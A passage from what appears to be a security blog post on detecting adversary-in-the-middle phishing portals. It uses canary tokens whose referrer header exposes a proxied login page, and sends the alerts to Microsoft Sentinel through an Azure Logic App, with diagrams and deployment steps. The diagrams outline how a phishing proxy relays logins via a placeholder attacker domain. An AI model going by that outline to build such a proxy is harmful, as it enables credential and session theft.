&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;u&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;440&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;(&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;440&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;440&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;440&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;440&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;440&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;448&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;448&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;448&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;448&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;448&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;C&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;456&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;456&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;456&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;456&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;456&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;464&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;464&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;464&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;464&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;472&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;M&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;472&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;472&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;z&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;472&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;T&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;472&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;480&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;)&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;480&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;480&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;480&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;480&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;488&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;488&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;488&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;488&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;496&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;496&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;496&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;504&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;504&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;512&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;512&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;520&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;520&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;C&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;528&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;528&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;536&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;536&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;544&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;544&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;552&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;560&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;568&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;640&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;648&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;p&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;656&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;p&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;664&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;672&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;680&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;688&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;696&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;704&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;712&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;720&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;/g&gt;

    &lt;/svg&gt;
  
&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;* &lt;em&gt;Phishing-resistant multifactor authentication methods like FIDO2 security keys or passkeys mitigate this step (#2), unlike number-matching or TOTP methods that are not explicitly tied to the domain of the legitimate service.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For organizations that want additional defense-in-depth, deception technologies can provide a complementary layer by detecting proxied login portals and phishing infrastructure prior to credential compromise. Deception helps address the challenge presented by the fact that attacker infrastructure is not something that can be logged in a SIEM for alerting. Stolen session tokens can remain undetected until they are used against production systems; by then, detection depends on last-resort signals such as impossible travel or anomalous sign-in activity. Alerting on unexpected domains that use the same branding as a known login portal for your organization via deception technology gives advanced notice that allows for proactive network blocks and hunting for both traffic to and emails linking to a potential up-and-coming credential theft portal.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;canary-tokens&#34;&gt;Canary Tokens&lt;/h1&gt;
&lt;p&gt;Canary tokens are a form of deception technology that act as tripwires. Once they are accessed, they trigger a callback to a listening service, similar to a web beacon or email tracking pixel. Note that &amp;ldquo;canary token&amp;rdquo; is also the name of a &lt;a href=&#34;https://canarytokens.org/&#34; target=&#34;_blank&#34;&gt;canary token service&lt;/a&gt; operated by Thinkst Canary.&lt;/p&gt;
&lt;p&gt;Thinkst Canary researchers developed a &lt;a href=&#34;https://blog.thinkst.com/2024/01/defending-against-the-attack-of-the-cloned-websites.html&#34; target=&#34;_blank&#34;&gt;mechanism for detecting AitM phishing&lt;/a&gt; by using discrepancies in the referrer header of page loads between legitimate login portals and proxied login portals by using their canary token service. By loading a canary token via CSS, the canary listener can trigger an alert when the token is loaded with a referrer other than the legitimate portal.&lt;/p&gt;
&lt;p&gt;Example HTTP request to a page containing a canary token, when the domain is the expected domain name:&lt;/p&gt;

&lt;img src=&#34;expected_domain.svg&#34;  alt=&#34;HTTP request flow loading a page with a canary token where the referrer domain matches the actual domain.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px;&#34;    /&gt;


&lt;!--
```mermaid
---
config:
  look: classic
  theme: dark
---
sequenceDiagram
        autonumber
        actor User
        participant Client
        participant WebApp as Login Portal&lt;br/&gt;Referrer:&lt;br&gt;legitimate.app.com
        participant Canary as Canary Token Server&lt;br/&gt;(Expected Referrer:&lt;br&gt;legitimate.app.com)
        User -&gt;&gt; Client: Request to legitimate site in a browser
        Client -&gt;&gt; WebApp: GET /page.html
        WebApp -&gt;&gt; Client: HTTP 200, send page.html&lt;br/&gt;&lt;img src=&#34;https://canary/img.gif&#34;/&gt;&lt;br/&gt;&lt;img src=&#34;https://labs.sra.io/assets/logo.png&#34;/&gt;&lt;br/&gt; ...
        Client -&gt;&gt; Canary: GET /img.gif, HTTP Referrer: https://legitimate.app.com
        Client -&gt;&gt; WebApp: GET /assets/logo.png
        Canary -&gt;&gt; Client: HTTP 200, send img.gif
        WebApp -&gt;&gt; Client: HTTP 200, send logo.png
        Client -&gt;&gt; User: Render Page
```
--&gt;
&lt;p&gt;When the the request is performed through a proxied portal, HTTP Referrer header mismatches (step #6):&lt;/p&gt;

&lt;img src=&#34;alt_domain.svg&#34;  alt=&#34;HTTP request flow loading a page with a canary token where the referrer domain does not matche the actual domain.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px;&#34;    /&gt;


&lt;!--
```mermaid
---
config:
  look: classic
  theme: dark
---
sequenceDiagram
        autonumber
        actor User
        participant Client
        participant Attacker as Attacker Proxy (AitM)&lt;br/&gt;Referrer:&lt;br/&gt;aitm.malicious.com
        participant WebApp as Login Portal&lt;br/&gt;Referrer:&lt;br/&gt;legitimate.app.com
        participant Canary as Canary Token Server&lt;br/&gt;(Expected Referrer:&lt;br/&gt;legitimate.app.com)
        User -&gt;&gt; Client: Request to attacker site in a browser
        Client -&gt;&gt; Attacker: GET /page.html
        Attacker -&gt;&gt; WebApp: GET /page.html
        WebApp -&gt;&gt; Attacker: HTTP 200, send page.html
        Attacker -&gt;&gt; Client: HTTP 200, send page.html&lt;br/&gt;&lt;img src=&#34;https://canary/img.gif&#34;/&gt;&lt;br/&gt;&lt;img src=&#34;https://labs.sra.io/assets/logo.png&#34;/&gt;&lt;br/&gt;...
        Client -&gt;&gt; Canary: GET /img.gif, HTTP Referrer: https://aitm.malicious.com
        Canary -&gt;&gt; Client: HTTP 200, send img.gif
        Client -&gt;&gt; Attacker: GET /assets/logo.png
        Attacker -&gt;&gt; WebApp: GET /assets/logo.png
        WebApp -&gt;&gt; Attacker: HTTP 200, send logo.png
        Attacker -&gt;&gt; Client: HTTP 200, send logo.png
        Client -&gt;&gt; User: Render Page
```
--&gt;
&lt;hr&gt;
&lt;h1 id=&#34;ingesting-canary-triggers-into-sentinel-with-azure-logic-apps&#34;&gt;Ingesting Canary Triggers into Sentinel with Azure Logic Apps&lt;/h1&gt;
&lt;p&gt;While Thinkst Canary provides a notification mechanism to receive emails on cloned site visits, email isn&amp;rsquo;t conducive to proper case/incident management or alert tuning. Security teams can ingest these events into a SIEM where analytic rules can be tuned and incidents can be generated for assignment and remediation tracking.&lt;/p&gt;
&lt;p&gt;Azure Logic Apps are a low-code/no-code, event-driven automation platform within Microsoft Azure. Logic Apps are an ideal candidate for this use case because Thinkst Canary tokens can be configured to send a webhook to any arbitrary URL, and Logic App workflows configured to receive an HTTP payload as a trigger can filter and transform the payload, then forward the resulting data to a Log Analytics workspace connected to Microsoft Sentinel.&lt;/p&gt;

&lt;img src=&#34;flow_with_detection.svg&#34;  alt=&#34;Request flow with detection logic added&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px;&#34;    /&gt;


&lt;!--
```mermaid
---
config:
  look: classic
  theme: dark
---
sequenceDiagram
        autonumber
        participant Client
        participant Canary as Canary Token Server&lt;br/&gt;(Expected Referrer:&lt;br/&gt;legitimate.app.com)
        participant LogicApp as Azure Logic Apps Workflow
        participant LAW as Log Analytics Workspace
        participant Sentinel as Microsoft Sentinel
        actor Security as Security Team
        Client -&gt;&gt; Canary: GET /img.gif, HTTP Referrer: https://aitm.malicious.com
        rect rgb(60, 203, 244)
            Canary --) LogicApp: Send JSON payload with&lt;br/&gt;request details
            LogicApp -&gt;&gt; LAW: Publish Log to Workspace
            loop Analytic Rule Periodically&lt;br/&gt;Searches for New Events 
                Sentinel -&gt;&gt; LAW:Run Analytic Rule Query
            end
            LAW -&gt;&gt; Sentinel: Detect New Event,&lt;br/&gt;Create Incident
            Sentinel -&gt;&gt; Security: Notification
        end
    box rgb(0, 120, 212) Azure
        participant LogicApp
        participant LAW
        participant Sentinel
    end
```
--&gt;
&lt;p&gt;A deployment template containing all necessary Azure resources is available &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/az-sentinel-canary-token-solution&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;deployment-instructions&#34;&gt;Deployment Instructions&lt;/h2&gt;
&lt;h3 id=&#34;azure&#34;&gt;Azure&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Azure Portal:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &amp;ldquo;Deploy to Azure&amp;rdquo; button, or download the &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/az-sentinel-canary-token-solution/blob/main/azuredeploy.json&#34; target=&#34;_blank&#34;&gt;ARM template from GitHub&lt;/a&gt; and navigate to the &lt;a href=&#34;https://portal.azure.com/#create/Microsoft.Template&#34; target=&#34;_blank&#34;&gt;custom deployment&lt;/a&gt; service in the Azure Portal. Select &amp;ldquo;Build your own template in the editor&amp;rdquo; and upload the ARM template file.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://portal.azure.com/#create/Microsoft.Template/uri/https%3A%2F%2Fraw%2Egithubusercontent%2Ecom%2FSecurityRiskAdvisors%2Faz%2Dsentinel%2Dcanary%2Dtoken%2Dsolution%2Frefs%2Fheads%2Fmain%2Fazuredeploy%2Ejson&#34; target=&#34;_blank&#34;&gt;&lt;img src=&#34;https://aka.ms/deploytoazurebutton&#34; alt=&#34;Deploy To Azure&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Enter the name of your Microsoft Sentinel workspace in the &amp;ldquo;Workspace Name&amp;rdquo; field. Optionally, customize the names of the Data Collection Endpoint, Data Collection Rule, and Table Name for canary token events.&lt;/p&gt;

&lt;img src=&#34;deploy_1.png&#34;  alt=&#34;ARM template project details including the subscription and resource group in which deployment will occur; includes instance details like region, workspace name, data collection endpoint &amp;#43; rule names, and table name.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;


&lt;p&gt;Click &amp;ldquo;Review + create&amp;rdquo; to validate, then &amp;ldquo;Create&amp;rdquo; to provision.&lt;/p&gt;

&lt;img src=&#34;deploy_2.png&#34;  alt=&#34;Summary view showing what parameters were set to create 7 Azure resources.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;


&lt;p&gt;Upon successful deployment, the following resources are created:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Canary-Token-Webhook-Endpoint&lt;/code&gt;: The Logic App workflow with an HTTP Request trigger that receives canary token payloads.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CanaryTokenDCE&lt;/code&gt;: The data collection endpoint&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CanaryTokenDCR&lt;/code&gt;: The data collection rule&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CanaryTokenEvents_CL&lt;/code&gt;: The Sentinel table where canary trigger events are logged.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ASimAlertEventThinkstCanary&lt;/code&gt; and &lt;code&gt;vimAlertEventThinkstCanary&lt;/code&gt;: The Sentinel Workspace Functions that normalize &lt;code&gt;CanaryTokenEvents_CL&lt;/code&gt; events to the ASIM Alert schema. &lt;code&gt;ASimAlertEventThinkstCanary&lt;/code&gt; acts as the base parser; vimAlertEventThinkstCanary provides additional parameters for improved filtering performance.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;workspace-name/Microsoft.SecurityInsights/generated-rule-guid&lt;/code&gt;: The Sentinel analytic rule titled &amp;ldquo;Canary Token Interaction&amp;rdquo; that generates alerts and Sentinel incidents when new canary trigger events occur.&lt;/li&gt;
&lt;/ul&gt;

&lt;img src=&#34;deploy_3.png&#34;  alt=&#34;Overview screen showing the resources created by the ARM deployment.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;


&lt;p&gt;&lt;strong&gt;AZ CLI:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;az deployment group create &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    --resource-group Your-Resource-Group-Name-Here &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    --template-file azuredeploy.json &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    --parameters workspaceName&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Your-Sentinel-Workspace-Name-Here
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;granting-the-logic-app-access-to-your-sentinel-workspace&#34;&gt;Granting the Logic App Access to Your Sentinel Workspace&lt;/h4&gt;
&lt;p&gt;To allow the Logic App to write canary trigger events to the Sentinel workspace via the deployed Data Collection Endpoint (DCE)/Data Collection Rule (DCR), its system-assigned managed identity must be granted the &amp;ldquo;Monitoring Metrics Publisher&amp;rdquo; Azure role with a scope that includes the DCR.&lt;/p&gt;

&lt;img src=&#34;role_1.png&#34;  alt=&#34;Shows the start of the role assignment process on the DCR; navigating to the DCR, selecting Access control (IAM), clicking Add, and clicking Add role assignment.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;



&lt;img src=&#34;role_2.png&#34;  alt=&#34;Shows the role Monitoring Metrics Publisher selected before clicking Next to proceed.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;



&lt;img src=&#34;role_3.png&#34;  alt=&#34;Shows the Assign access to value set to Managed identity, and the dialog for selecting the Logic App system assigned managed identity; the Canary-Token-Webhook-Endpoint Logic App is selected.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;



&lt;img src=&#34;role_4.png&#34;  alt=&#34;The role member selection page after the Logic App has been selected, with the Review &amp;#43; assign button highlighted.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;



&lt;img src=&#34;role_5.png&#34;  alt=&#34;The Add role assignment Review &amp;#43; assign page showing the assignment to be created, with the final confirmation button highlighted.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;


&lt;h3 id=&#34;configuring-a-canary-token&#34;&gt;Configuring a Canary Token&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Step 1: Retrieve the Logic App Webhook URL&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Open the &amp;ldquo;Canary-Token-Webhook-Endpoint&amp;rdquo; Logic App in the Logic App Designer. Click the &amp;ldquo;Canary&amp;rdquo; trigger and note the value in the &amp;ldquo;HTTP URL&amp;rdquo; field. HTTP POST requests sent to this URL will be processed by the workflow and written to the Sentinel table via the DCR.&lt;/p&gt;

&lt;img src=&#34;canary_1.png&#34;  alt=&#34;The Logic App designer view highlighting the location of the webhook URL to use in the next step. It is located in the trigger, labeled Canary, and is in the field HTTP URL.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;


&lt;p&gt;&lt;em&gt;&lt;strong&gt;Step 2: Create and Configure the Token&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Visit &lt;a href=&#34;https://canarytokens.org/nest/&#34; target=&#34;_blank&#34;&gt;https://canarytokens.org/nest/&lt;/a&gt; and select the desired token type - for example, &amp;ldquo;Azure Entra ID login&amp;rdquo; for cloned Entra ID portals, or &amp;ldquo;CSS cloned website&amp;rdquo; for other identity providers such as Okta that support custom branding.&lt;/p&gt;

